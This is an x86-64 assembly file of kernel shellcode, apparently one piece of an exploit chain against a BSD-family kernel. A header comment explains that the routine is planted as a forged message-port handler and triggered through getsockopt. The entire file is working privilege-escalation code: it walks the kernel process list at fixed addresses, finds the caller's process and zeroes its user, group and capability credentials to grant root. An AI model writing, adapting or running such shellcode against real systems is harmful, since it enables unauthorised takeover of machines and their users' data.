/* DF-0785 kernel shellcode (final). lwkt_port.mp_putport handler, called
   synchronously in the originating process context (maxx getsockopt), so our
   user-space mappings are live.  rdi = forged port, rsi = msg.
   Walks procglob[pid&0xff].allproc (procglob=0xffffffff81193640, allproc.lh_first@+0x20),
   finds our proc (p_pid@92, p_list.le_next@0), zeroes its p_ucred(16) uid fields
   (cr_uid@64 cr_ngroups@68 cr_groups@72 cr_ruid@160 cr_svuid@164 cr_rgid@168
   cr_svgid@172 cr_caps@176), returns 0 (non-EASYNC) so lwkt_domsg marks the msg
   done and getsockopt returns cleanly.  Assembles to 157 bytes (see chain.c). */
    .section .rodata
    .globl sc_handler
    .type sc_handler, @function
sc_handler:
    movabsq $0x13372000, %rax          /* MYPID_SLOT (mapped in our ctx) */
    movl 0(%rax), %eax
    movzbl %al, %eax
    shlq $6, %rax
    movabsq $0xffffffff81193640, %rbx  /* procglob base */
    addq %rax, %rbx
    movq 0x20(%rbx), %r12              /* allproc.lh_first */
.Lloop:
    testq %r12, %r12
    jz .Ldone
    movl 92(%r12), %edx                /* p_pid */
    movabsq $0x13372000, %rax
    movl 0(%rax), %eax
    cmpl %eax, %edx
    jne .Lnext
    movq 16(%r12), %r13                /* p_ucred */
    movl $0, 64(%r13)
    movl $1, 68(%r13)
    movl $0, 72(%r13)
    movl $0, 160(%r13)
    movl $0, 164(%r13)
    movl $0, 168(%r13)
    movl $0, 172(%r13)
    movq $0, 176(%r13)
    jmp .Ldone
.Lnext:
    movq 0(%r12), %r12
    jmp .Lloop
.Ldone:
    xorl %eax, %eax
    retq
    .size sc_handler, .-sc_handler
